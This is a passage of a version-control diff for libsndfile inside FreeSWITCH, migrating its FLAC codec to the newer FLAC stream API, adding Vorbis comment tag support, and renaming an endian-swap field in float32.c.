-sf_flac_read_callback (const FLAC__SeekableStreamDecoder * UNUSED (decoder), FLAC__byte buffer [], unsigned *bytes, void *client_data)
+static FLAC__StreamDecoderReadStatus
+sf_flac_read_callback (const FLAC__StreamDecoder * UNUSED (decoder), FLAC__byte buffer [], size_t *bytes, void *client_data)
 {	SF_PRIVATE *psf = (SF_PRIVATE*) client_data ;
 
 	*bytes = psf_fread (buffer, 1, *bytes, psf) ;
 	if (*bytes > 0 && psf->error == 0)
-		return FLAC__SEEKABLE_STREAM_DECODER_READ_STATUS_OK ;
+		return FLAC__STREAM_DECODER_READ_STATUS_CONTINUE ;
 
-    return FLAC__SEEKABLE_STREAM_DECODER_READ_STATUS_ERROR ;
+    return FLAC__STREAM_DECODER_READ_STATUS_ABORT ;
 } /* sf_flac_read_callback */
 
-static FLAC__SeekableStreamDecoderSeekStatus
-sf_flac_seek_callback (const FLAC__SeekableStreamDecoder * UNUSED (decoder), FLAC__uint64 absolute_byte_offset, void *client_data)
+static FLAC__StreamDecoderSeekStatus
+sf_flac_seek_callback (const FLAC__StreamDecoder * UNUSED (decoder), FLAC__uint64 absolute_byte_offset, void *client_data)
 {	SF_PRIVATE *psf = (SF_PRIVATE*) client_data ;
 
 	psf_fseek (psf, absolute_byte_offset, SEEK_SET) ;
 	if (psf->error)
-		return FLAC__SEEKABLE_STREAM_DECODER_SEEK_STATUS_ERROR ;
+		return FLAC__STREAM_DECODER_SEEK_STATUS_ERROR ;
 
-	return FLAC__SEEKABLE_STREAM_DECODER_SEEK_STATUS_OK ;
+	return FLAC__STREAM_DECODER_SEEK_STATUS_OK ;
 } /* sf_flac_seek_callback */
 
-static FLAC__SeekableStreamDecoderTellStatus
-sf_flac_tell_callback (const FLAC__SeekableStreamDecoder * UNUSED (decoder), FLAC__uint64 *absolute_byte_offset, void *client_data)
+static FLAC__StreamDecoderTellStatus
+sf_flac_tell_callback (const FLAC__StreamDecoder * UNUSED (decoder), FLAC__uint64 *absolute_byte_offset, void *client_data)
 {	SF_PRIVATE *psf = (SF_PRIVATE*) client_data ;
 
 	*absolute_byte_offset = psf_ftell (psf) ;
 	if (psf->error)
-		return FLAC__SEEKABLE_STREAM_DECODER_TELL_STATUS_ERROR ;
+		return FLAC__STREAM_DECODER_TELL_STATUS_ERROR ;
 
-	return FLAC__SEEKABLE_STREAM_DECODER_TELL_STATUS_OK ;
+	return FLAC__STREAM_DECODER_TELL_STATUS_OK ;
 } /* sf_flac_tell_callback */
 
-static FLAC__SeekableStreamDecoderLengthStatus
-sf_flac_length_callback (const FLAC__SeekableStreamDecoder * UNUSED (decoder), FLAC__uint64 *stream_length, void *client_data)
+static FLAC__StreamDecoderLengthStatus
+sf_flac_length_callback (const FLAC__StreamDecoder * UNUSED (decoder), FLAC__uint64 *stream_length, void *client_data)
 {	SF_PRIVATE *psf = (SF_PRIVATE*) client_data ;
 
 	if ((*stream_length = psf->filelength) == 0)
-		return FLAC__SEEKABLE_STREAM_DECODER_LENGTH_STATUS_ERROR ;
+		return FLAC__STREAM_DECODER_LENGTH_STATUS_ERROR ;
 
-	return FLAC__SEEKABLE_STREAM_DECODER_LENGTH_STATUS_OK ;
+	return FLAC__STREAM_DECODER_LENGTH_STATUS_OK ;
 } /* sf_flac_length_callback */
 
 static FLAC__bool
-sf_flac_eof_callback (const FLAC__SeekableStreamDecoder *UNUSED (decoder), void *client_data)
+sf_flac_eof_callback (const FLAC__StreamDecoder *UNUSED (decoder), void *client_data)
 {	SF_PRIVATE *psf = (SF_PRIVATE*) client_data ;
 
 	if (psf_ftell (psf) == psf->filelength)
@@ -337,7 +352,7 @@
 } /* sf_flac_eof_callback */
 
 static FLAC__StreamDecoderWriteStatus
-sf_flac_write_callback (const FLAC__SeekableStreamDecoder * UNUSED (decoder), const FLAC__Frame *frame, const FLAC__int32 * const buffer [], void *client_data)
+sf_flac_write_callback (const FLAC__StreamDecoder * UNUSED (decoder), const FLAC__Frame *frame, const FLAC__int32 * const buffer [], void *client_data)
 {	SF_PRIVATE *psf = (SF_PRIVATE*) client_data ;
 	FLAC_PRIVATE* pflac = (FLAC_PRIVATE*) psf->codec_data ;
 
@@ -353,8 +368,42 @@
 } /* sf_flac_write_callback */
 
 static void
-sf_flac_meta_callback (const FLAC__SeekableStreamDecoder * UNUSED (decoder), const FLAC__StreamMetadata *metadata, void *client_data)
+sf_flac_meta_get_vorbiscomments (SF_PRIVATE *psf, const FLAC__StreamMetadata *metadata)
+{	FLAC_TAG tags [] =
+	{ 	{ "title", SF_STR_TITLE },
+		{ "copyright", SF_STR_COPYRIGHT },
+		{ "software", SF_STR_SOFTWARE },
+		{ "artist", SF_STR_ARTIST },
+		{ "comment", SF_STR_COMMENT },
+		{ "date", SF_STR_DATE },
+		{ "album", SF_STR_ALBUM },
+		{ "license", SF_STR_LICENSE }
+		} ;
+
+	const char *value, *cptr ;
+	int k, tag_num ;
+
+	for (k = 0 ; k < ARRAY_LEN (tags) ; k++)
+	{	tag_num = FLAC__metadata_object_vorbiscomment_find_entry_from (metadata, 0, tags [k].tag) ;
+
+		if (tag_num < 0)
+			continue ;
+
+		value = (const char*) metadata->data.vorbis_comment.comments [tag_num].entry ;
+		if ((cptr = strchr (value, '=')) != NULL)
+			value = cptr + 1 ;
+
+		psf_log_printf (psf, "  %-10s : %s\n", tags [k].tag, value) ;
+		psf_store_string (psf, tags [k].type, value) ;
+		} ;
+
+	return ;
+} /* sf_flac_meta_get_vorbiscomments */
+
+static void
+sf_flac_meta_callback (const FLAC__StreamDecoder * UNUSED (decoder), const FLAC__StreamMetadata *metadata, void *client_data)
 {	SF_PRIVATE *psf = (SF_PRIVATE*) client_data ;
+	int bitwidth = 0 ;
 
 	switch (metadata->type)
 	{	case FLAC__METADATA_TYPE_STREAMINFO :
@@ -362,32 +411,69 @@
 			psf->sf.samplerate = metadata->data.stream_info.sample_rate ;
 			psf->sf.frames = metadata->data.stream_info.total_samples ;
 
+			psf_log_printf (psf, "FLAC Stream Metadata\n  Channels    : %d\n  Sample rate : %d\n  Frames      : %D\n", psf->sf.channels, psf->sf.samplerate, psf->sf.frames) ;
+
 			switch (metadata->data.stream_info.bits_per_sample)
 			{	case 8 :
 					psf->sf.format |= SF_FORMAT_PCM_S8 ;
+					bitwidth = 8 ;
 					break ;
 				case 16 :
 					psf->sf.format |= SF_FORMAT_PCM_16 ;
+					bitwidth = 16 ;
 					break ;
 				case 24 :
 					psf->sf.format |= SF_FORMAT_PCM_24 ;
+					bitwidth = 24 ;
 					break ;
 				default :
 					psf_log_printf (psf, "sf_flac_meta_callback : bits_per_sample %d not yet implemented.\n", metadata->data.stream_info.bits_per_sample) ;
 					break ;
 				} ;
+
+			if (bitwidth > 0)
+				psf_log_printf (psf, "  Bit width   : %d\n", bitwidth) ;
 			break ;
 
+		case FLAC__METADATA_TYPE_VORBIS_COMMENT :
+			psf_log_printf (psf, "Vorbis Comment Metadata\n") ;
+			sf_flac_meta_get_vorbiscomments (psf, metadata) ;
+			break ;
+
+		case FLAC__METADATA_TYPE_PADDING :
+			psf_log_printf (psf, "Padding Metadata\n") ;
+			break ;
+
+		case FLAC__METADATA_TYPE_APPLICATION :
+			psf_log_printf (psf, "Application Metadata\n") ;
+			break ;
+
+		case FLAC__METADATA_TYPE_SEEKTABLE :
+			psf_log_printf (psf, "Seektable Metadata\n") ;
+			break ;
+
+		case FLAC__METADATA_TYPE_CUESHEET :
+			psf_log_printf (psf, "Cuesheet Metadata\n") ;
+			break ;
+
+		case FLAC__METADATA_TYPE_PICTURE :
+			psf_log_printf (psf, "Picture Metadata\n") ;
+			break ;
+
+		case FLAC__METADATA_TYPE_UNDEFINED :
+			psf_log_printf (psf, "Undefined Metadata\n") ;
+			break ;
+
 		default :
 			psf_log_printf (psf, "sf_flac_meta_callback : metadata-type %d not yet implemented.\n", metadata->type) ;
-		break ;
+			break ;
 		} ;
 
 	return ;
 } /* sf_flac_meta_callback */
 
 static void
-sf_flac_error_callback (const FLAC__SeekableStreamDecoder * UNUSED (decoder), FLAC__StreamDecoderErrorStatus status, void *client_data)
+sf_flac_error_callback (const FLAC__StreamDecoder * UNUSED (decoder), FLAC__StreamDecoderErrorStatus status, void *client_data)
 {	SF_PRIVATE *psf = (SF_PRIVATE*) client_data ;
 
 	psf_log_printf (psf, "ERROR : %s\n", FLAC__StreamDecoderErrorStatusString [status]) ;
@@ -407,40 +493,121 @@
 	return ;
 } /* sf_flac_error_callback */
 
-static FLAC__SeekableStreamEncoderSeekStatus
-sf_flac_enc_seek_callback (const FLAC__SeekableStreamEncoder * UNUSED (encoder), FLAC__uint64 absolute_byte_offset, void *client_data)
+static FLAC__StreamEncoderSeekStatus
+sf_flac_enc_seek_callback (const FLAC__StreamEncoder * UNUSED (encoder), FLAC__uint64 absolute_byte_offset, void *client_data)
 {	SF_PRIVATE *psf = (SF_PRIVATE*) client_data ;
 
 	psf_fseek (psf, absolute_byte_offset, SEEK_SET) ;
 	if (psf->error)
-		return FLAC__SEEKABLE_STREAM_ENCODER_SEEK_STATUS_ERROR ;
+		return FLAC__STREAM_ENCODER_SEEK_STATUS_ERROR ;
 
-    return FLAC__SEEKABLE_STREAM_ENCODER_SEEK_STATUS_OK ;
+    return FLAC__STREAM_ENCODER_SEEK_STATUS_OK ;
 } /* sf_flac_enc_seek_callback */
 
-#ifdef HAVE_FLAC_1_1_1
-static FLAC__SeekableStreamEncoderTellStatus
-sf_flac_enc_tell_callback (const FLAC__SeekableStreamEncoder *UNUSED (encoder), FLAC__uint64 *absolute_byte_offset, void *client_data)
+static FLAC__StreamEncoderTellStatus
+sf_flac_enc_tell_callback (const FLAC__StreamEncoder *UNUSED (encoder), FLAC__uint64 *absolute_byte_offset, void *client_data)
 {	SF_PRIVATE *psf = (SF_PRIVATE*) client_data ;
 
 	*absolute_byte_offset = psf_ftell (psf) ;
 	if (psf->error)
-		return FLAC__SEEKABLE_STREAM_ENCODER_TELL_STATUS_ERROR ;
+		return FLAC__STREAM_ENCODER_TELL_STATUS_ERROR ;
 
-	return FLAC__SEEKABLE_STREAM_ENCODER_TELL_STATUS_OK ;
+	return FLAC__STREAM_ENCODER_TELL_STATUS_OK ;
 } /* sf_flac_enc_tell_callback */
-#endif
 
 static FLAC__StreamEncoderWriteStatus
-sf_flac_enc_write_callback (const FLAC__SeekableStreamEncoder * UNUSED (encoder), const FLAC__byte buffer [], unsigned bytes, unsigned UNUSED (samples), unsigned UNUSED (current_frame), void *client_data)
+sf_flac_enc_write_callback (const FLAC__StreamEncoder * UNUSED (encoder), const FLAC__byte buffer [], size_t bytes, unsigned UNUSED (samples), unsigned UNUSED (current_frame), void *client_data)
 {	SF_PRIVATE *psf = (SF_PRIVATE*) client_data ;
 
-	if (psf_fwrite (buffer, 1, bytes, psf) == bytes && psf->error == 0)
+	if (psf_fwrite (buffer, 1, bytes, psf) == (sf_count_t) bytes && psf->error == 0)
 		return FLAC__STREAM_ENCODER_WRITE_STATUS_OK ;
 
 	return FLAC__STREAM_ENCODER_WRITE_STATUS_FATAL_ERROR ;
 } /* sf_flac_enc_write_callback */
 
+static void
+flac_write_strings (SF_PRIVATE *psf, FLAC_PRIVATE* pflac)
+{	FLAC__StreamMetadata_VorbisComment_Entry entry ;
+	int	k, string_count = 0 ;
+
+	for (k = 0 ; k < SF_MAX_STRINGS ; k++)
+	{	if (psf->strings [k].type != 0)
+			string_count ++ ;
+		} ;
+
+	if (string_count == 0)
+		return ;
+
+	if (pflac->metadata == NULL && (pflac->metadata = FLAC__metadata_object_new (FLAC__METADATA_TYPE_VORBIS_COMMENT)) == NULL)
+	{	psf_log_printf (psf, "FLAC__metadata_object_new returned NULL\n") ;
+		return ;
+		} ;
+
+	for (k = 0 ; k < SF_MAX_STRINGS && psf->strings [k].type != 0 ; k++)
+	{	const char * key, * value ;
+
+		switch (psf->strings [k].type)
+		{	case SF_STR_SOFTWARE :
+				key = "software" ;
+				break ;
+			case SF_STR_TITLE :
+				key = "title" ;
+				break ;
+			case SF_STR_COPYRIGHT :
+				key = "copyright" ;
+				break ;
+			case SF_STR_ARTIST :
+				key = "artist" ;
+				break ;
+			case SF_STR_COMMENT :
+				key = "comment" ;
+				break ;
+			case SF_STR_DATE :
+				key = "date" ;
+				break ;
+			case SF_STR_ALBUM :
+				key = "album" ;
+				break ;
+			case SF_STR_LICENSE :
+				key = "license" ;
+				break ;
+			default :
+				continue ;
+			} ;
+
+		value = psf->strings [k].str ;
+
+		FLAC__metadata_object_vorbiscomment_entry_from_name_value_pair (&entry, key, value) ;
+		FLAC__metadata_object_vorbiscomment_append_comment (pflac->metadata, entry, /* copy */ SF_FALSE) ;
+		} ;
+
+	if (! FLAC__stream_encoder_set_metadata (pflac->fse, &pflac->metadata, 1))
+	{	printf ("%s %d : fail\n", __func__, __LINE__) ;
+		return ;
+		} ;
+
+	return ;
+} /* flac_write_strings */
+
+static int
+flac_write_header (SF_PRIVATE *psf, int UNUSED (calc_length))
+{	FLAC_PRIVATE* pflac = (FLAC_PRIVATE*) psf->codec_data ;
+	int err ;
+
+	flac_write_strings (psf, pflac) ;
+
+	if ((err = FLAC__stream_encoder_init_stream (pflac->fse, sf_flac_enc_write_callback, sf_flac_enc_seek_callback, sf_flac_enc_tell_callback, NULL, psf)) != FLAC__STREAM_DECODER_INIT_STATUS_OK)
+	{	psf_log_printf (psf, "Error : FLAC encoder init returned error : %s\n", FLAC__StreamEncoderInitStatusString [err]) ;
+		return SFE_FLAC_INIT_DECODER ;
+		} ;
+
+	if (psf->error == 0)
+		psf->dataoffset = psf_ftell (psf) ;
+	pflac->encbuffer = calloc (ENC_BUFFER_SIZE, sizeof (FLAC__int32)) ;
+
+	return psf->error ;
+} /* flac_write_header */
+
 /*------------------------------------------------------------------------------
 ** Public function.
 */
@@ -454,23 +621,28 @@
 	psf->codec_data = pflac ;
 
 	if (psf->mode == SFM_RDWR)
-		return SFE_UNIMPLEMENTED ;
+		return SFE_BAD_MODE_RW ;
 
 	if (psf->mode == SFM_READ)
 	{	if ((error = flac_read_header (psf)))
 			return error ;
 		} ;
 
-	subformat = psf->sf.format & SF_FORMAT_SUBMASK ;
+	subformat = SF_CODEC (psf->sf.format) ;
 
 	if (psf->mode == SFM_WRITE)
-	{	if ((psf->sf.format & SF_FORMAT_TYPEMASK) != SF_FORMAT_FLAC)
+	{	if ((SF_CONTAINER (psf->sf.format)) != SF_FORMAT_FLAC)
 			return	SFE_BAD_OPEN_FORMAT ;
 
 		psf->endian = SF_ENDIAN_BIG ;
+		psf->sf.seekable = 0 ;
 
+		psf->str_flags = SF_STR_ALLOW_START ;
+
 		if ((error = flac_enc_init (psf)))
 			return error ;
+
+		psf->write_header = flac_write_header ;
 		} ;
 
 	psf->datalength = psf->filelength ;
@@ -485,7 +657,7 @@
 	psf->blockwidth = psf->bytewidth * psf->sf.channels ;
 
 	switch (subformat)
-	{	case SF_FORMAT_PCM_S8 :		/* 8-bit FLAC.  */
+	{	case SF_FORMAT_PCM_S8 :	/* 8-bit FLAC.  */
 		case SF_FORMAT_PCM_16 :	/* 16-bit FLAC. */
 		case SF_FORMAT_PCM_24 :	/* 24-bit FLAC. */
 			error = flac_init (psf) ;
@@ -508,16 +680,20 @@
 	if ((pflac = (FLAC_PRIVATE*) psf->codec_data) == NULL)
 		return 0 ;
 
+	if (pflac->metadata != NULL)
+		FLAC__metadata_object_delete (pflac->metadata) ;
+
 	if (psf->mode == SFM_WRITE)
-	{	FLAC__seekable_stream_encoder_finish (pflac->fse) ;
-		FLAC__seekable_stream_encoder_delete (pflac->fse) ;
+	{	FLAC__stream_encoder_finish (pflac->fse) ;
+		FLAC__stream_encoder_delete (pflac->fse) ;
+
 		if (pflac->encbuffer)
 			free (pflac->encbuffer) ;
 		} ;
 
 	if (psf->mode == SFM_READ)
-	{	FLAC__seekable_stream_decoder_finish (pflac->fsd) ;
-		FLAC__seekable_stream_decoder_delete (pflac->fsd) ;
+	{	FLAC__stream_decoder_finish (pflac->fsd) ;
+		FLAC__stream_decoder_delete (pflac->fsd) ;
 		} ;
 
 	for (k = 0 ; k < ARRAY_LEN (pflac->rbuffer) ; k++)
@@ -546,19 +722,8 @@
 		return SFE_FLAC_BAD_SAMPLE_RATE ;
 
 	psf_fseek (psf, 0, SEEK_SET) ;
-	if ((pflac->fse = FLAC__seekable_stream_encoder_new ()) == NULL)
-		return SFE_FLAC_NEW_DECODER ;
-	FLAC__seekable_stream_encoder_set_write_callback (pflac->fse, sf_flac_enc_write_callback) ;
-	FLAC__seekable_stream_encoder_set_seek_callback (pflac->fse, sf_flac_enc_seek_callback) ;
 
-#ifdef HAVE_FLAC_1_1_1
-	FLAC__seekable_stream_encoder_set_tell_callback (pflac->fse, sf_flac_enc_tell_callback) ;
-#endif
-	FLAC__seekable_stream_encoder_set_client_data (pflac->fse, psf) ;
-	FLAC__seekable_stream_encoder_set_channels (pflac->fse, psf->sf.channels) ;
-	FLAC__seekable_stream_encoder_set_sample_rate (pflac->fse, psf->sf.samplerate) ;
-
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 			bps = 8 ;
 			break ;
@@ -574,18 +739,25 @@
 			break ;
 		} ;
 
-	FLAC__seekable_stream_encoder_set_bits_per_sample (pflac->fse, bps) ;
+	if ((pflac->fse = FLAC__stream_encoder_new ()) == NULL)
+		return SFE_FLAC_NEW_DECODER ;
 
-	if ((bps = FLAC__seekable_stream_encoder_init (pflac->fse)) != FLAC__SEEKABLE_STREAM_DECODER_OK)
-	{	psf_log_printf (psf, "Error : FLAC encoder init returned error : %s\n", FLAC__seekable_stream_encoder_get_resolved_state_string (pflac->fse)) ;
+	if (! FLAC__stream_encoder_set_channels (pflac->fse, psf->sf.channels))
+	{	psf_log_printf (psf, "FLAC__stream_encoder_set_channels (%d) return false.\n", psf->sf.channels) ;
 		return SFE_FLAC_INIT_DECODER ;
 		} ;
 
-	if (psf->error == 0)
-		psf->dataoffset = psf_ftell (psf) ;
-	pflac->encbuffer = calloc (ENC_BUFFER_SIZE, sizeof (FLAC__int32)) ;
+	if (! FLAC__stream_encoder_set_sample_rate (pflac->fse, psf->sf.samplerate))
+	{	psf_log_printf (psf, "FLAC__stream_encoder_set_sample_rate (%d) returned false.\n", psf->sf.samplerate) ;
+		return SFE_FLAC_BAD_SAMPLE_RATE ;
+		} ;
 
-	return psf->error ;
+	if (! FLAC__stream_encoder_set_bits_per_sample (pflac->fse, bps))
+	{	psf_log_printf (psf, "FLAC__stream_encoder_set_bits_per_sample (%d) return false.\n", bps) ;
+		return SFE_FLAC_INIT_DECODER ;
+		} ;
+
+	return 0 ;
 } /* flac_enc_init */
 
 static int
@@ -593,26 +765,22 @@
 {	FLAC_PRIVATE* pflac = (FLAC_PRIVATE*) psf->codec_data ;
 
 	psf_fseek (psf, 0, SEEK_SET) ;
-	if ((pflac->fsd = FLAC__seekable_stream_decoder_new ()) == NULL)
+	if ((pflac->fsd = FLAC__stream_decoder_new ()) == NULL)
 		return SFE_FLAC_NEW_DECODER ;
 
-	FLAC__seekable_stream_decoder_set_read_callback (pflac->fsd, sf_flac_read_callback) ;
-	FLAC__seekable_stream_decoder_set_seek_callback (pflac->fsd, sf_flac_seek_callback) ;
-	FLAC__seekable_stream_decoder_set_tell_callback (pflac->fsd, sf_flac_tell_callback) ;
-	FLAC__seekable_stream_decoder_set_length_callback (pflac->fsd, sf_flac_length_callback) ;
-	FLAC__seekable_stream_decoder_set_eof_callback (pflac->fsd, sf_flac_eof_callback) ;
-	FLAC__seekable_stream_decoder_set_write_callback (pflac->fsd, sf_flac_write_callback) ;
-	FLAC__seekable_stream_decoder_set_metadata_callback (pflac->fsd, sf_flac_meta_callback) ;
-	FLAC__seekable_stream_decoder_set_error_callback (pflac->fsd, sf_flac_error_callback) ;
-	FLAC__seekable_stream_decoder_set_client_data (pflac->fsd, psf) ;
+	FLAC__stream_decoder_set_metadata_respond_all (pflac->fsd) ;
 
-	if (FLAC__seekable_stream_decoder_init (pflac->fsd) != FLAC__SEEKABLE_STREAM_DECODER_OK)
+	if (FLAC__stream_decoder_init_stream (pflac->fsd, sf_flac_read_callback, sf_flac_seek_callback, sf_flac_tell_callback, sf_flac_length_callback, sf_flac_eof_callback, sf_flac_write_callback, sf_flac_meta_callback, sf_flac_error_callback, psf) != FLAC__STREAM_DECODER_INIT_STATUS_OK)
 		return SFE_FLAC_INIT_DECODER ;
 
-	FLAC__seekable_stream_decoder_process_until_end_of_metadata (pflac->fsd) ;
+	FLAC__stream_decoder_process_until_end_of_metadata (pflac->fsd) ;
+
+	psf_log_printf (psf, "End\n") ;
+
 	if (psf->error == 0)
 	{	FLAC__uint64 position ;
-		FLAC__seekable_stream_decoder_get_decode_position (pflac->fsd, &position) ;
+
+		FLAC__stream_decoder_get_decode_position (pflac->fsd, &position) ;
 		psf->dataoffset = position ;
 		} ;
 
@@ -620,17 +788,8 @@
 } /* flac_read_header */
 
 static int
-flac_command (SF_PRIVATE *psf, int command, void *data, int datasize)
+flac_command (SF_PRIVATE * UNUSED (psf), int UNUSED (command), void * UNUSED (data), int UNUSED (datasize))
 {
-	/* Avoid compiler warnings. */
-	psf = psf ;
-	data = data ;
-	datasize = datasize ;
-
-	switch (command)
-	{	default : break ;
-		} ;
-
 	return 0 ;
 } /* flac_command */
 
@@ -676,9 +835,9 @@
 		flac_buffer_copy (psf) ;
 
 	while (pflac->pos < pflac->len)
-	{	if (FLAC__seekable_stream_decoder_process_single (pflac->fsd) == 0)
+	{	if (FLAC__stream_decoder_process_single (pflac->fsd) == 0)
 			break ;
-		if (FLAC__seekable_stream_decoder_get_state (pflac->fsd) != FLAC__SEEKABLE_STREAM_DECODER_OK)
+		if (FLAC__stream_decoder_get_state (pflac->fsd) >= FLAC__STREAM_DECODER_END_OF_STREAM)
 			break ;
 		} ;
 
@@ -775,7 +934,7 @@
 	sf_count_t	total = 0 ;
 	FLAC__int32* buffer = pflac->encbuffer ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 			convert = s2flac8_array ;
 			break ;
@@ -795,7 +954,7 @@
 	while (len > 0)
 	{	writecount = (len >= bufferlen) ? bufferlen : (int) len ;
 		convert (ptr + total, buffer, writecount) ;
-		if (FLAC__seekable_stream_encoder_process_interleaved (pflac->fse, buffer, writecount/psf->sf.channels))
+		if (FLAC__stream_encoder_process_interleaved (pflac->fse, buffer, writecount/psf->sf.channels))
 			thiswrite = writecount ;
 		else
 			break ;
@@ -817,7 +976,7 @@
 	sf_count_t	total = 0 ;
 	FLAC__int32* buffer = pflac->encbuffer ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 			convert = i2flac8_array ;
 			break ;
@@ -837,7 +996,7 @@
 	while (len > 0)
 	{	writecount = (len >= bufferlen) ? bufferlen : (int) len ;
 		convert (ptr + total, buffer, writecount) ;
-		if (FLAC__seekable_stream_encoder_process_interleaved (pflac->fse, buffer, writecount/psf->sf.channels))
+		if (FLAC__stream_encoder_process_interleaved (pflac->fse, buffer, writecount/psf->sf.channels))
 			thiswrite = writecount ;
 		else
 			break ;
@@ -859,7 +1018,7 @@
 	sf_count_t	total = 0 ;
 	FLAC__int32* buffer = pflac->encbuffer ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 			convert = (psf->add_clipping) ? f2flac8_clip_array : f2flac8_array ;
 			break ;
@@ -879,7 +1038,7 @@
 	while (len > 0)
 	{	writecount = (len >= bufferlen) ? bufferlen : (int) len ;
 		convert (ptr + total, buffer, writecount, psf->norm_float) ;
-		if (FLAC__seekable_stream_encoder_process_interleaved (pflac->fse, buffer, writecount/psf->sf.channels))
+		if (FLAC__stream_encoder_process_interleaved (pflac->fse, buffer, writecount/psf->sf.channels))
 			thiswrite = writecount ;
 		else
 			break ;
@@ -991,7 +1150,7 @@
 	sf_count_t	total = 0 ;
 	FLAC__int32* buffer = pflac->encbuffer ;
 
-	switch (psf->sf.format & SF_FORMAT_SUBMASK)
+	switch (SF_CODEC (psf->sf.format))
 	{	case SF_FORMAT_PCM_S8 :
 			convert = (psf->add_clipping) ? d2flac8_clip_array : d2flac8_array ;
 			break ;
@@ -1011,7 +1170,7 @@
 	while (len > 0)
 	{	writecount = (len >= bufferlen) ? bufferlen : (int) len ;
 		convert (ptr + total, buffer, writecount, psf->norm_double) ;
-		if (FLAC__seekable_stream_encoder_process_interleaved (pflac->fse, buffer, writecount/psf->sf.channels))
+		if (FLAC__stream_encoder_process_interleaved (pflac->fse, buffer, writecount/psf->sf.channels))
 			thiswrite = writecount ;
 		else
 			break ;
@@ -1131,8 +1290,8 @@
 
 	if (psf->mode == SFM_READ)
 	{	FLAC__uint64 position ;
-		if (FLAC__seekable_stream_decoder_seek_absolute (pflac->fsd, offset))
-		{	FLAC__seekable_stream_decoder_get_decode_position (pflac->fsd, &position) ;
+		if (FLAC__stream_decoder_seek_absolute (pflac->fsd, offset))
+		{	FLAC__stream_decoder_get_decode_position (pflac->fsd, &position) ;
 			return offset ;
 			} ;
 
@@ -1145,12 +1304,13 @@
 	return ((sf_count_t) -1) ;
 } /* flac_seek */
 
+#else /* HAVE_EXTERNAL_LIBS */
+
+int
+flac_open	(SF_PRIVATE *psf)
+{
+	psf_log_printf (psf, "This version of libsndfile was compiled without FLAC support.\n") ;
+	return SFE_UNIMPLEMENTED ;
+} /* flac_open */
+
 #endif
-
-/*
-** Do not edit or modify anything in this comment block.
-** The arch-tag line is a file identity tag for the GNU Arch
-** revision control system.
-**
-** arch-tag: 46d49617-ebff-42b4-8f66-a0e428147360
-*/

Modified: freeswitch/branches/seven/libs/libsndfile/src/float32.c (14471 => 14472)


--- freeswitch/branches/seven/libs/libsndfile/src/float32.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/libsndfile/src/float32.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -1,5 +1,5 @@
 /*
-** Copyright (C) 1999-2005 Erik de Castro Lopo <erikd@mega-nerd.com>
+** Copyright (C) 1999-2009 Erik de Castro Lopo <erikd@mega-nerd.com>
 **
 ** This program is free software; you can redistribute it and/or modify
 ** it under the terms of the GNU Lesser General Public License as published by
@@ -21,11 +21,12 @@
 #include	<stdio.h>
 #include	<stdlib.h>
 #include	<string.h>
+#include	<limits.h>
+#include	<math.h>
 
 #include	"sndfile.h"
 #include	"sfendian.h"
 #include	"common.h"
-#include	"float_cast.h"
 
 #if CPU_IS_LITTLE_ENDIAN
 	#define FLOAT32_READ	float32_le_read
@@ -94,7 +95,7 @@
 	if (psf->mode == SFM_READ || psf->mode == SFM_RDWR)
 	{	switch (psf->endian + float_caps)
 		{	case (SF_ENDIAN_BIG + FLOAT_CAN_RW_BE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->read_short		= host_read_f2s ;
 					psf->read_int		= host_read_f2i ;
 					psf->read_float		= host_read_f ;
@@ -102,7 +103,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + FLOAT_CAN_RW_LE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->read_short		= host_read_f2s ;
 					psf->read_int		= host_read_f2i ;
 					psf->read_float		= host_read_f ;
@@ -110,7 +111,7 @@
 					break ;
 
 			case (SF_ENDIAN_BIG + FLOAT_CAN_RW_LE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->read_short		= host_read_f2s ;
 					psf->read_int		= host_read_f2i ;
 					psf->read_float		= host_read_f ;
@@ -118,7 +119,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + FLOAT_CAN_RW_BE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->read_short		= host_read_f2s ;
 					psf->read_int		= host_read_f2i ;
 					psf->read_float		= host_read_f ;
@@ -127,7 +128,7 @@
 
 			/* When the CPU is not IEEE compatible. */
 			case (SF_ENDIAN_BIG + FLOAT_BROKEN_LE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->read_short		= replace_read_f2s ;
 					psf->read_int		= replace_read_f2i ;
 					psf->read_float		= replace_read_f ;
@@ -135,7 +136,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + FLOAT_BROKEN_LE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->read_short		= replace_read_f2s ;
 					psf->read_int		= replace_read_f2i ;
 					psf->read_float		= replace_read_f ;
@@ -143,7 +144,7 @@
 					break ;
 
 			case (SF_ENDIAN_BIG + FLOAT_BROKEN_BE) :
-					psf->float_endswap = SF_FALSE ;
+					psf->data_endswap = SF_FALSE ;
 					psf->read_short		= replace_read_f2s ;
 					psf->read_int		= replace_read_f2i ;
 					psf->read_float		= replace_read_f ;
@@ -151,7 +152,7 @@
 					break ;
 
 			case (SF_ENDIAN_LITTLE + FLOAT_BROKEN_BE) :
-					psf->float_endswap = SF_TRUE ;
+					psf->data_endswap = SF_TRUE ;
 					psf->read_short		= replace_read_f2s ;
 					psf->read_int		= replace_read_f2i ;
 					psf->read_float		= replace_read_f ;
@@ -165,7 +166,7 @@
 	if (psf->mode == SFM_WRITE || psf->mode == SFM_RDWR)
 	{	switch (psf->endian + float_caps)
